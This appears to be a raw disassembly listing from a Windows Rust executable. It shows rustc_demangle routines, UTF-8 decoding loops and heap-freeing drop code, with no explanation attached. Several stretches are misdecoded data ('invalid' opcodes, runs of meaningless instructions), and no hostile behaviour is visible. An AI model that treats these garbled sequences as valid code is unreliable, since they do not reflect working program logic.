lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
adc eax, 0x8ce86
mov r8d, 0x10
call fcn.1400093e0
invalid
test al, al
je 0x1400d2b38
add byte [rax], al
add al, ch
mov bl, 0x68
inc dword [rax + rax*8 + 0x1b80774]
inc dword [rax + rax*8 + 0x1b80774]
inc dword [rax + rax*8 + 0x1b80774]
add byte [rax], al
add bl, ch
jmp 0x1400d2b45
mov qword [rsi], 0
invalid
mov qword [rsi], 0
mov dword [rsi], 0
invalid
mov byte [rsi + 8], 0
or byte [rax], r8b
or byte [rax], al
invalid
movzx ebx, byte [rbp - 0x10]
mov rcx, qword [rsi + 0x20]
test bl, bl
je 0x1400d2b7f
invalid
test rcx, rcx
je 0x1400d2b9a
invalid
lea rdx, [0x14015f9b8]
inc rax
mov qword [rsi + 0x10], rax
mov dword [rsi + 0x10], eax
test rcx, rcx
je 0x1400d2b9a
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
or byte [rax], al
mov r8d, 0x10
pop rsi
or bl, ch
popfq
int3
int3
sub esp, 0xb8
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax], al
mov rdx, qword [rcx + 8]
invalid
invalid
invalid
add byte [rax], al
sub edx, eax
rcr byte [rdi + 0xac08341], 0x41
lahf
mov edx, 0xffffffff
rol byte [r9 - 0x7d], 1
cli
adc byte [rdi], cl
xor esp, 2
add byte [rax], al
pop rax
rol byte [rcx - 0x7d], 1
sti
or dh, byte [rdx + 0x1d]
fadd dword [r9 - 0x7d]
sti
adc byte [rdi], cl
or ebp, 2
add al, byte [rax]
invalid
lea esi, [rbp - 0x18]
push rsi
fidivr dword [rax + rsi*8]
add byte [rax], al
mov dh, 0x41
add eax, dword [rcx - 0x7d]
loopne case.0x1400ba3d7.274
invalid
mov dword [rsp + 0x20], 6
lea r9, str..llvm._rust_deps_rustc_demangle_0.1.24_src_lib.rs
lea rcx, [rbp - 0x28]
call fcn.14000da80
test byte [rbp - 0x28], 1
je 0x1400d4d1a
mov qword [rbp - 0x30], r13
mov r15, qword [rbp + 0x10]
mov r8, qword [rbp + 0x20]
mov rax, qword [rbp + 0x38]
lea rcx, [rax - 1]
mov rdx, qword [rbp + 0x28]
mov rbx, qword [rbp + 0x30]
cmp r15, 0xffffffffffffffff
je 0x1400d4e39
mov r9, qword [rbp]
mov qword [rbp + 0x50], rcx
add rcx, r9
cmp rcx, rdx
jae 0x1400d4f15
mov r11, qword [rbp - 8]
mov r13, qword [rbp - 0x20]
mov r10, qword [rbp - 0x10]
mov rsi, rax
mov qword [rbp + 0x40], r10
sub rsi, r10
mov qword [rbp + 0x48], rsi
jmp 0x1400d4d86
lea rbx, [rbp - 0x58]
lea r15, [rbp - 0x28]
nop word cs:[rax + rax]
mov rcx, rbx
mov rdx, r15
call fcn.1400d3680
mov rax, qword [rbp - 0x58]
cmp rax, 1
je 0x1400d4d30
test rax, rax
jne 0x1400d5028
mov r9, qword [rbp - 0x50]
mov r8, r9
enter 0xffffffffffff8349, 0xffffffffffffffc0
invalid
jne 0x1400d4f34
enter 0xffffffffffff8349, 0xffffffffffffffc0
invalid
jmp 0x1400d4f4f
add r9, rax
xor r15d, r15d
mov rcx, qword [rbp + 0x50]
add rcx, r9
cmp rcx, rdx
jae 0x1400d4f15
movzx ecx, byte [r8 + rcx]
bt r11, rcx
jae 0x1400d4d70
cmp r13, r15
mov rsi, r15
cmova rsi, r13
lea r10, [r8 + r9]
mov rcx, rsi
nop word cs:[rax + rax]
cmp rcx, rax
jae 0x1400d4de0
mov rdi, rcx
add rcx, r9
cmp rcx, rdx
jae 0x1400d5714
lea rcx, [rdi + 1]
movzx r12d, byte [rbx + rdi]
cmp r12b, byte [r10 + rdi]
je 0x1400d4db0
sub r9, r13
add r9, rdi
inc r9
jmp 0x1400d4d73
mov rcx, r13
nop word cs:[rax + rax]
cmp r15, rcx
jae 0x1400d4f27
dec rcx
cmp rcx, rax
jae 0x1400d5755
lea r10, [rcx + r9]
cmp r10, rdx
jae 0x1400d572d
movzx esi, byte [rbx + rcx]
cmp sil, byte [r8 + r10]
je 0x1400d4df0
add r9, qword [rbp + 0x40]
mov r15, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x50]
add rcx, r9
cmp rcx, rdx
jb 0x1400d4d86
jmp 0x1400d4f15
mov r9, qword [rbp]
lea r10, [r9 + rcx]
cmp r10, rdx
jae 0x1400d4f15
mov r11, rcx
mov r13, qword [rbp - 8]
mov r12, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x10]
mov qword [rbp - 0x40], rcx
lea rcx, [r12 - 1]
lea rsi, [rbx + r12 - 1]
mov qword [rbp + 0x50], rsi
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x48], r13
jmp 0x1400d4e85
add r9, rax
lea r10, [r9 + r11]
cmp r10, rdx
jae 0x1400d4f15
movzx r10d, byte [r8 + r10]
bt r13, r10
jae 0x1400d4e75
lea r10, [r8 + r9]
mov rsi, r12
nop word [rax + rax]
cmp rsi, rax
jae 0x1400d4ece
mov r15, rsi
add rsi, r9
cmp rsi, rdx
jae 0x1400d573c
lea rsi, [r15 + 1]
movzx edi, byte [rbx + r15]
cmp dil, byte [r10 + r15]
je 0x1400d4ea0
sub r9, r12
add r9, r15
inc r9
jmp 0x1400d4e78
cmp rcx, rax
jae 0x1400d4f1e
lea r10, [rcx + r9]
mov r13, qword [rbp + 0x50]
mov r15, r12
nop
sub r15, 1
jb 0x1400d4f27
cmp r10, rdx
jae 0x1400d572d
movzx esi, byte [r13]
dec r13
lea rdi, [r10 - 1]
cmp sil, byte [r8 + r10]
mov r10, rdi
je 0x1400d4ee0
add r9, qword [rbp - 0x40]
mov rcx, qword [rbp + 0x40]
mov r13, qword [rbp + 0x48]
jmp 0x1400d4e78
mov r13, qword [rbp - 0x30]
jmp 0x1400d5028
test r12, r12
jne 0x1400d5755
mov r13, qword [rbp - 0x30]
mov r8, r9
add r8, 6
je 0x1400d4f4f
cmp r8, r14
jae 0x1400d4f4d
cmp byte [r13 + r8], 0xbf
jg 0x1400d4f4f
lea rax, [0x14015faa0]
jmp 0x1400d580d
jne 0x1400d4f41
add r8, r13
lea rax, [r14 + r13]
jmp 0x1400d4f7d
inc r8
lea edx, [rcx - 0x30]
cmp edx, 0xa
setb dl
add ecx, 0xffffffc0
cmp ecx, 7
setb cl
or cl, dl
je 0x1400d5028
cmp r8, rax
je 0x1400d4ffc
movzx r11d, byte [r8]
movzx ecx, r11b
test cl, cl
jns 0x1400d4f60
mov edx, ecx
and edx, 0x1f
movzx edi, byte [r8 + 1]
and edi, 0x3f
cmp cl, 0xdf
jbe 0x1400d4fda
movzx r10d, byte [r8 + 2]
shl edi, 6
and r10d, 0x3f
or r10d, edi
cmp r11b, 0xf0
jb 0x1400d4fea
movzx ecx, byte [r8 + 3]
and edx, 7
shl edx, 0x12
shl r10d, 6
and ecx, 0x3f
or ecx, r10d
or ecx, edx
cmp ecx, 0x110000
je 0x1400d4ffc
add r8, 4
jmp 0x1400d4f63
add r8, 2
shl edx, 6
or edx, edi
mov ecx, edx
jmp 0x1400d4f63
add r8, 3
shl edx, 0xc
or r10d, edx
mov ecx, r10d
jmp 0x1400d4f63
test r9, r9
je 0x1400d5017
cmp r9, r14
jae 0x1400d5022
cmp byte [r13 + r9], 0xbf
jle 0x1400d5784
mov r14, r9
jmp 0x1400d5028
mov r12d, 2
jmp 0x1400d56f9
jne 0x1400d5784
cmp r14, 3
jae 0x1400d5062
mov r12d, 2
cmp r14, 2
inc byte [rdx]
inc byte [rdx]
jne 0x1400d56f9
cmp word [r13], 0x4e5a
jne 0x1400d5248
mov r15, 0xfffffffffffffffe
mov esi, 2
mov r8d, 2
jmp 0x1400d50e9
movzx eax, word [r13]
xor eax, 0x5a5f
movzx ecx, byte [r13 + 2]
xor ecx, 0x4e
or cx, ax
je 0x1400d50a7
cmp word [r13], 0x4e5a
je 0x1400d50c1
mov esi, 3
cmp r14, 3
je 0x1400d51e0
cmp dword [r13], 0x4e5a5f5f
je 0x1400d517a
mov rsi, r14
jmp 0x1400d51e0
mov r15, 0xfffffffffffffffd
mov r8d, 3
cmp r14, 3
jne 0x1400d50db
mov esi, 3
jmp 0x1400d50e9
cmp byte [r13 + 2], 0xbf
jle 0x1400d57e6
mov r8d, 2
mov r15, 0xfffffffffffffffe
jmp 0x1400d50e6
cmp byte [r13 + 3], 0xbf
jle 0x1400d5806
add byte [rax], al
add byte [rax], al
mov rsi, r14
add r15, rsi
add r8, r13
lea r9, [r8 + r15]
xor eax, eax
nop word cs:[rax + rax]
cmp r15, rax
je 0x1400d5115
cmp byte [r8 + rax], 0
lea rax, [rax + 1]
jns 0x1400d5100
jmp 0x1400d51da
test r15, r15
je 0x1400d51da
movzx ecx, byte [r8]
movzx edx, cl
test dl, dl
js 0x1400d5132
lea rcx, [r8 + 1]
jmp 0x1400d51c5
mov eax, edx
and eax, 0x1f
movzx r10d, byte [r8 + 1]
and r10d, 0x3f
cmp dl, 0xdf
jbe 0x1400d51a4
movzx edx, byte [r8 + 2]
shl r10d, 6
and edx, 0x3f
or edx, r10d
cmp cl, 0xf0
jb 0x1400d51bc
lea rcx, [r8 + 4]
movzx r10d, byte [r8 + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and r10d, 0x3f
or r10d, edx
or r10d, eax
mov edx, r10d
jmp 0x1400d51c5
mov r15, 0xfffffffffffffffc
mov r8d, 4
cmp r14, 5
jb 0x1400d51b2
cmp byte [r13 + 4], 0xbf
jg 0x1400d50e6
lea rax, str._rust_deps_rustc_demangle_0.1.24_srclegacy.rs
jmp 0x1400d580d
lea rcx, [r8 + 2]
shl eax, 6
or eax, r10d
mov edx, eax
jmp 0x1400d51c5
mov esi, 4
jmp 0x1400d50e9
lea rcx, [r8 + 3]
shl eax, 0xc
or edx, eax
cmp edx, 0x45
je 0x1400d53f2
cmp edx, 0x110000
jne 0x1400d5409
cmp rsi, 3
jb 0x1400d5248
cmp word [r13], 0x525f
je 0x1400d5287
cmp byte [r13], 0x52
je 0x1400d525e
mov r12d, 2
cmp rsi, 3
je 0x1400d56f9
movzx eax, word [r13]
xor eax, 0x5f5f
movzx ecx, byte [r13 + 2]
xor ecx, 0x52
or cx, ax
jne 0x1400d56f9
movzx eax, byte [r13 + 3]
cmp al, 0xbf
jle 0x1400d5820
lea r15, [r13 + 3]
mov r14, 0xfffffffffffffffd
add al, 0xbf
mov r12d, 2
cmp al, 0x19
jbe 0x1400d52af
jmp 0x1400d56f9
mov esi, 2
cmp byte [r13], 0x52
mov r12d, 2
jne 0x1400d56f9
movzx eax, byte [r13 + 1]
cmp al, 0xbf
jle 0x1400d5764
lea r15, [r13 + 1]
mov r14, 0xffffffffffffffff
add al, 0xbf
mov r12d, 2
cmp al, 0x19
jbe 0x1400d52af
jmp 0x1400d56f9
movzx eax, byte [r13 + 2]
cmp al, 0xbf
jle 0x1400d579e
lea r15, [r13 + 2]
mov r14, 0xfffffffffffffffe
add al, 0xbf
mov r12d, 2
cmp al, 0x19
ja 0x1400d56f9
add r14, rsi
xor eax, eax
nop word cs:[rax + rax]
cmp r14, rax
je 0x1400d52d5
cmp byte [r15 + rax], 0
lea rax, [rax + 1]
jns 0x1400d52c0
jmp 0x1400d56f9
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], 0
mov dword [rbp - 0x10], 0
mov qword [rbp - 8], 0
mov dword [rbp], 0
lea rcx, [rbp - 0x28]
xor edx, edx
call fcn.1400cfa80
test al, al
jne 0x1400d57be
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x1400d56f9
movzx eax, byte [rbp - 0x20]
movzx edx, byte [rbp - 0x19]
shl edx, 0x10
movzx r8d, word [rbp - 0x1b]
or r8d, edx
shl r8, 0x20
mov r9d, dword [rbp - 0x1f]
or r9, r8
mov r8, qword [rbp - 0x18]
shl r9, 8
or r9, rax
cmp r8, r9
jae 0x1400d53c1
movzx eax, byte [rcx + r8]
add al, 0xbf
cmp al, 0x1a
jae 0x1400d53c1
movsd xmm0, qword [rbp - 0x10]
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x20], r9
mov qword [rbp - 0x18], r8
movlps qword [rbp - 0x10], xmm0
mov qword [rbp - 8], 0
mov dword [rbp], 0
lea rcx, [rbp - 0x28]
xor edx, edx
call fcn.1400cfa80
test al, al
jne 0x1400d57be
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x1400d56f9
movzx eax, byte [rbp - 0x20]
movzx edx, byte [rbp - 0x19]
shl edx, 0x10
movzx r8d, word [rbp - 0x1b]
or r8d, edx
shl r8, 0x20
mov r9d, dword [rbp - 0x1f]
or r9, r8
mov r8, qword [rbp - 0x18]
shl r9, 8
or r9, rax
test r8, r8
je 0x1400d559b
cmp r9, r8
jbe 0x1400d5595
cmp byte [rcx + r8], 0xbf
jg 0x1400d559b
lea rax, str._rust_deps_rustc_demangle_0.1.24_src_v0.rs
mov qword [rsp + 0x20], rax
mov rdx, r9
call fcn.140122bb0
xor r14d, r14d
sub r9, rcx
test r9, r9
jne 0x1400d55ad
xor r9d, r9d
jmp 0x1400d56d3
xor r14d, r14d
mov r10d, 0xa
lea eax, [rdx - 0x30]
cmp eax, 9
ja 0x1400d51da
xor eax, eax
jmp 0x1400d5431
inc rcx
cmp edx, 0x110000
je 0x1400d51da
lea r11d, [rdx - 0x30]
cmp r11d, 0xa
jae 0x1400d54dc
mul r10
jo 0x1400d51da
mov edx, r11d
add rax, rdx
jb 0x1400d51da
cmp rcx, r9
je 0x1400d51da
movzx edi, byte [rcx]
movzx edx, dil
test dl, dl
jns 0x1400d5422
mov r11d, edx
and r11d, 0x1f
movzx r12d, byte [rcx + 1]
and r12d, 0x3f
cmp dl, 0xdf
jbe 0x1400d54b9
movzx edx, byte [rcx + 2]
shl r12d, 6
and edx, 0x3f
or edx, r12d
cmp dil, 0xf0
jb 0x1400d54cc
mov rdi, rsi
movzx esi, byte [rcx + 3]
add rcx, 4
and r11d, 7
shl r11d, 0x12
shl edx, 6
and esi, 0x3f
or esi, edx
or esi, r11d
mov edx, esi
mov rsi, rdi
jmp 0x1400d5425
add rcx, 2
shl r11d, 6
or r11d, r12d
mov edx, r11d
jmp 0x1400d5425
add rcx, 3
shl r11d, 0xc
or edx, r11d
jmp 0x1400d5425
test rax, rax
jne 0x1400d54fa
inc r14
cmp edx, 0x45
jne 0x1400d5412
jmp 0x1400d53f5
inc rcx
dec rax
je 0x1400d54e1
cmp rcx, r9
je 0x1400d51da
movzx r12d, byte [rcx]
movzx edx, r12b
test dl, dl
jns 0x1400d54f2
mov rbx, rsi
mov rsi, r13
mov r11d, edx
and r11d, 0x1f
movzx r13d, byte [rcx + 1]
and r13d, 0x3f
cmp dl, 0xdf
jbe 0x1400d556d
movzx edi, byte [rcx + 2]
shl r13d, 6
and edi, 0x3f
or edi, r13d
cmp r12b, 0xf0
jb 0x1400d557d
movzx edx, byte [rcx + 3]
and r11d, 7
shl r11d, 0x12
shl edi, 6
and edx, 0x3f
or edx, edi
or edx, r11d
cmp edx, 0x110000
mov r13, rsi
mov rsi, rbx
je 0x1400d51da
add rcx, 4
jmp 0x1400d54f5
add rcx, 2
shl r11d, 6
or r11d, r13d
mov edx, r11d
jmp 0x1400d558a
add rcx, 3
shl r11d, 0xc
or edi, r11d
mov edx, edi
mov r13, rsi
mov rsi, rbx
jmp 0x1400d54f5
jne 0x1400d53de
add rcx, r8
sub r9, r8
xor r8d, r8d
test r9, r9
je 0x1400d5401
mov r12d, 2
cmp byte [rcx], 0x2e
jne 0x1400d56f9
mov qword [rbp + 0x50], rsi
lea rax, [rcx + r9]
mov r11b, 0x2e
movabs rsi, 0x7e0000007f
mov r10, rcx
test r11b, r11b
jns 0x1400d5680
nop dword [rax]
mov edx, r11d
and dl, 0x1f
movzx edi, dl
movzx edx, byte [r10 + 1]
and edx, 0x3f
cmp r11b, 0xdf
jbe 0x1400d5647
mov rbx, r13
movzx r13d, byte [r10 + 2]
shl edx, 6
and r13d, 0x3f
or r13d, edx
cmp r11b, 0xf0
jb 0x1400d565e
movzx r11d, byte [r10 + 3]
and edi, 7
shl edi, 0x12
shl r13d, 6
and r11d, 0x3f
or r11d, r13d
or r11d, edi
cmp r11d, 0x110000
je 0x1400d56cc
add r10, 4
mov r13, rbx
lea edx, [r11 - 0x21]
cmp edx, 0x19
jae 0x1400d5690
jmp 0x1400d56ad
add r10, 2
shl edi, 6
or edi, edx
mov r11d, edi
lea edx, [r11 - 0x21]
cmp edx, 0x19
jae 0x1400d5690
jmp 0x1400d56ad
add r10, 3
shl edi, 0xc
or r13d, edi
mov r11d, r13d
mov r13, rbx
lea edx, [r11 - 0x21]
cmp edx, 0x19
jae 0x1400d5690
jmp 0x1400d56ad
inc r10
movzx r11d, r11b
lea edx, [r11 - 0x21]
cmp edx, 0x19
jb 0x1400d56ad
mov edx, r11d
and edx, 0xffffffdf
add edx, 0xffffffbf
cmp edx, 0x1a
jb 0x1400d56ad
lea edx, [r11 - 0x3a]
cmp edx, 0x26
ja 0x1400d56c0
bt rsi, rdx
jae 0x1400d56c0
cmp r10, rax
je 0x1400d56cf
movzx r11d, byte [r10]
test r11b, r11b
jns 0x1400d5680
jmp 0x1400d55e0
add r11d, 0xffffff81
cmp r11d, 0xfffffffc
jae 0x1400d56ad
jmp 0x1400d56f9
mov r13, rbx
mov rsi, qword [rbp + 0x50]
mov rax, qword [rbp - 0x38]
mov qword [rax + 8], r8
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r14
mov qword [rax + 0x20], r13
mov qword [rax + 0x28], rsi
mov qword [rax + 0x30], rcx
mov qword [rax + 0x38], r9
mov r12d, 1
mov rax, qword [rbp - 0x38]
mov qword [rax], r12
add rsp, 0xd8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add rsi, r9
cmp rdx, rsi
cmova rsi, rdx
lea r8, str._rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrarycore_src_strpattern.rs
mov rcx, rsi
call fcn.140122580
lea r8, str._rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrarycore_src_strpattern.rs
mov rcx, r10
call fcn.140122580
add r9, r12
cmp rdx, r9
cmova r9, rdx
lea r8, str._rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrarycore_src_strpattern.rs
mov rcx, r9
call fcn.140122580
lea r8, str._rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrarycore_src_strpattern.rs
mov rdx, rax
call fcn.140122580
lea rax, str._rust_deps_rustc_demangle_0.1.24_src_v0.rs
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, r13
mov rdx, rsi
mov r9, rsi
call fcn.140122bb0
lea rax, [0x14015fab8]
mov qword [rsp + 0x20], rax
mov rcx, r13
mov rdx, r14
xor r8d, r8d
call fcn.140122bb0
lea rax, str._rust_deps_rustc_demangle_0.1.24_src_v0.rs
mov qword [rsp + 0x20], rax
mov r8d, 2
mov rcx, r13
mov rdx, rsi
mov r9, rsi
call fcn.140122bb0
lea rax, str._rust_deps_rustc_demangle_0.1.24_src_v0.rs
mov qword [rsp + 0x20], rax
lea rcx, str._fmt::Error_s_should_be_impossible_without_a__fmt::Formatter_
lea r9, [0x14015f400]
lea r8, [rbp - 0x58]
mov edx, 0x3d
call fcn.140122900
lea rax, str._rust_deps_rustc_demangle_0.1.24_srclegacy.rs
mov qword [rsp + 0x20], rax
mov r8d, 2
mov rcx, r13
mov rdx, r14
mov r9, r14
call fcn.140122bb0
lea rax, str._rust_deps_rustc_demangle_0.1.24_srclegacy.rs
mov qword [rsp + 0x20], rax
mov rcx, r13
mov rdx, r14
mov r9, r14
call fcn.140122bb0
lea rax, str._rust_deps_rustc_demangle_0.1.24_src_v0.rs
mov qword [rsp + 0x20], rax
mov r8d, 3
mov rcx, r13
mov rdx, rsi
mov r9, rsi
call fcn.140122bb0
int3
add byte [rax], al
call fcn.1400e2860
mov rax, qword [r14 + 0x110]
nop dword [rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [r14 + 0x110], rcx
jne 0x1400d76b0
jmp 0x1400d7712
test rax, rax
jne 0x1400d7741
mov rax, qword [r14 + 0x100]
mov rcx, qword [r14 + 0x108]
mov qword [r14 + 0x100], 0
lock and qword [r14 + 0x110], 0xfffffffffffffffd
test rax, rax
je 0x1400d7741
call qword [rax + 8]
mov rax, qword [rdi]
lock dec qword [rax]
jne 0x1400d7752
mov rcx, qword [rdi]
call fcn.1400d77b0
psubsb mm3, qword [rsi]
add byte [rax], al
mov rax, qword [rbx + 0x50]
test rax, rax
je 0x1400d7762
mov rcx, qword [rbx + 0x58]
call qword [rax + 0x18]
mov rax, qword [rbx + 0x68]
test rax, rax
je 0x1400d7772
mov rcx, qword [rbx + 0x70]
call qword [rax + 0x18]
mov r8, qword [rsi]
cmp r8, 0xffffffffffffffff
je 0x1400d779b
lock dec qword [r8 + 8]
jne 0x1400d779b
mov rcx, qword [0x14019f258]
xor edx, edx
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
add dword [rax], eax
add bl, dh
nop
add dword [rdi], ecx
xchg byte [rdx + 8], al
add byte [rax], al
movaps xmm2, xmmword [rsp + 0x50]
test eax, eax
xchg esp, eax
and al, 8
add dword [rax], eax
add byte [rcx + 0xf], al
adc dword [rsp + 0x118], ebx
sub byte [rsp + 0xd0], al
add byte [rax], al
xor byte [rdi], cl
invalid
and al, 0x30
add byte [rax], al
and al, 0x40
add eax, 0x48000000
cmp ebx, 5
lea edx, [rsp + 0x48]
adc eax, 0x8ad91
add eax, dword [rax]
add byte [rax - 0x7f], cl
invalid
lea eax, [rsi - 1]
and eax, esi
mov esi, eax
dec r14
je 0x1400d91d7
test si, si
jne 0x1400d8f9f
nop word cs:[rax + rax]
movdqa xmm0, xmmword [r12]
pmovmskb esi, xmm0
add r15, 0xfffffffffffffb00
add r12, 0x10
cmp esi, 0xffff
je 0x1400d8f80
not esi
tzcnt eax, esi
neg rax
lea rax, [rax + rax*4]
shl rax, 4
lea rbp, [r15 + rax]
cmp byte [r15 + rax - 0x50], 2
jb 0x1400d8fe2
mov rdi, qword [rbp - 0x48]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rbp - 0x28]
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x38]
mov r8, qword [rbp - 0x30]
call qword [rax + 0x10]
mov r13, qword [rbp - 8]
test r13, r13
je 0x1400d9065
mov qword [rsp + 0x40], r14
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp - 0x20]
mov qword [rsp + 0x38], rbp
mov rdi, qword [rbp - 0x18]
cmp rax, rcx
mov rdx, rcx
mov r8d, 0
cmovb rdx, r8
sub rax, rdx
mov rdx, rcx
sub rdx, rax
lea r14, [rax + r13]
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x50], rdx
sub r13, rdx
cmovb r13, r8
cmova r14, rcx
sub r14, rax
jne 0x1400d9130
mov rax, qword [rsp + 0x50]
cmp rax, qword [rsp + 0x30]
mov r14, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x38]
jb 0x1400d9099
cmp qword [rbp - 0x20], 0
je 0x1400d8f60
mov r8, qword [rbp - 0x18]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400d8f60
add rdi, 8
dec r13
je 0x1400d9065
mov rbx, qword [rdi]
mov al, 1
xchg byte [rbx + 0x80], al
mov al, 1
xchg byte [rbx + 0x60], al
test al, al
jne 0x1400d90cd
mov rax, qword [rbx + 0x50]
mov rcx, qword [rbx + 0x58]
mov qword [rbx + 0x50], 0
mov edx, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
xchg byte [rbx + 0x60], dl
test rax, rax
je 0x1400d90cd
call qword [rax + 8]
mov al, 1
xchg byte [rbx + 0x78], al
test al, al
je 0x1400d90f0
mov rax, qword [rdi]
lock dec qword [rax]
jne 0x1400d9090
jmp 0x1400d911a
mov rax, qword [rbx + 0x68]
mov rcx, qword [rbx + 0x70]
mov qword [rbx + 0x68], 0
test rax, rax
je 0x1400d9108
call qword [rax + 0x18]
xor eax, eax
xchg byte [rbx + 0x78], al
mov rax, qword [rdi]
lock dec qword [rax]
jne 0x1400d9090
mov rcx, rdi
call fcn.1400d7600
jmp 0x1400d9090
lea rbx, [rdi + rax*8]
jmp 0x1400d914d
add byte [rax], al
add byte [rax - 0x7d], cl
ret
add rbx, 8
dec r14
je 0x1400d904f
mov rbp, qword [rbx]
mov al, 1
xchg byte [rbp + 0x80], al
mov al, 1
xchg byte [rbp + 0x60], al
test al, al
jne 0x1400d9181
mov rax, qword [rbp + 0x50]
mov rcx, qword [rbp + 0x58]
mov qword [rbp + 0x50], 0
mov edx, 0
xchg byte [rbp + 0x60], dl
test rax, rax
je 0x1400d9181
call qword [rax + 8]
mov al, 1
xchg byte [rbp + 0x78], al
test al, al
je 0x1400d91a0
mov rax, qword [rbx]
lock dec qword [rax]
jne 0x1400d9140
jmp 0x1400d91ca
mov rax, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x70]
mov qword [rbp + 0x68], 0
test rax, rax
je 0x1400d91b8
call qword [rax + 0x18]
xor eax, eax
xchg byte [rbp + 0x78], al
mov rax, qword [rbx]
lock dec qword [rax]
jne 0x1400d9140
mov rcx, rbx
call fcn.1400d7600
jmp 0x1400d9140
mov r8, qword [rsp + 0x48]
lea rax, [r8 + 1]
mov ecx, 0x50
mul rcx
add r8, rax
cmp r8, 0xffffffffffffffef
mov rdi, qword [rsp + 0x28]
je 0x1400d920f
mov r8, qword [rdi + 0x88]
sub r8, rax
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rdi + 0xc0]
test rsi, rsi
je 0x1400d9294
mov bl, 1
mov al, 1
xchg byte [rsi + 0x40], al
mov al, 1
xchg byte [rsi + 0x20], al
test al, al
jne 0x1400d9248
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
mov qword [rsi + 0x10], 0
xor edx, edx
xchg byte [rsi + 0x20], dl
test rax, rax
je 0x1400d9248
call qword [rax + 8]
xchg byte [rsi + 0x38], bl
test bl, bl
jne 0x1400d926c
mov rax, qword [rsi + 0x28]
mov rcx, qword [rsi + 0x30]
mov qword [rsi + 0x28], 0
test rax, rax
je 0x1400d9267
call qword [rax + 0x18]
xor eax, eax
xchg byte [rsi + 0x38], al
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0xc0]
lock dec qword [rax]
mov rdi, qword [rsp + 0x28]
jne 0x1400d9294
mov rcx, qword [rdi + 0xc0]
call fcn.14002e2a0
mov rdi, qword [rsp + 0x28]
mov rax, qword [rdi + 0x18]
test rax, rax
je 0x1400d92b5
lock dec qword [rax]
jne 0x1400d92b5
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rax + 0x20]
call case.0x14009a20c.177
mov rax, qword [rsp + 0x60]
mov r8, qword [rax]
cmp r8, 0xffffffffffffffff
je 0x1400d92f2
lock dec qword [r8 + 8]
jne 0x1400d92f2
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x70]
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x70]
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
or eax, 0xc5e05
xor edx, edx
mov r8, rsi
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
ror byte [rcx - 0x77], cl
invalid
cmpsb byte [rsi], byte [rdi]
push rbx
or al, 0
add byte [rax], al
xor esp, esp
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax - 0x78], al
mov al, 0x25
add dword [rax], eax
add al, ch
sub cl, byte [rax + 1]
add byte [rbx + 0xc4c9005], cl
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
test byte [rdi], bl
add byte [rax], al
cmp dword [rbx + 0x38], ebp
invalid
add byte [rdi], cl
adc dword [rbp + 0x2c8], edx
add byte [rax], al
add al, byte [rax]
add byte [rdi], cl
adc byte [rbp + 0x2c2], dl
or byte [rax], al
add byte [rbx + rcx*4 - 0x7b], cl
push rax
or dword [rax], eax
add al, ch
adc al, 0x71
add al, 0
add byte [rax], al
push rax
invalid
add byte [rax], al
add byte [rax], al
mov dh, 5
add eax, 0xba000c37
and byte [rbx], ah
add byte [rax], al
add byte [rdi], cl
mov dh, 0x85
and byte [rcx], cl
add byte [rax], al
or dword [rax], eax
add al, ch
invalid
invalid
cmp eax, ebx
add byte [rcx], bl
rol byte [rcx + rcx*8 - 0x7f2ebaf1], cl
test cl, cl
cmovne edx, ecx
cmp dl, 2
invalid
invalid
ret 0x68e8
enter 0xffffffffffff9ce8, 0x2b
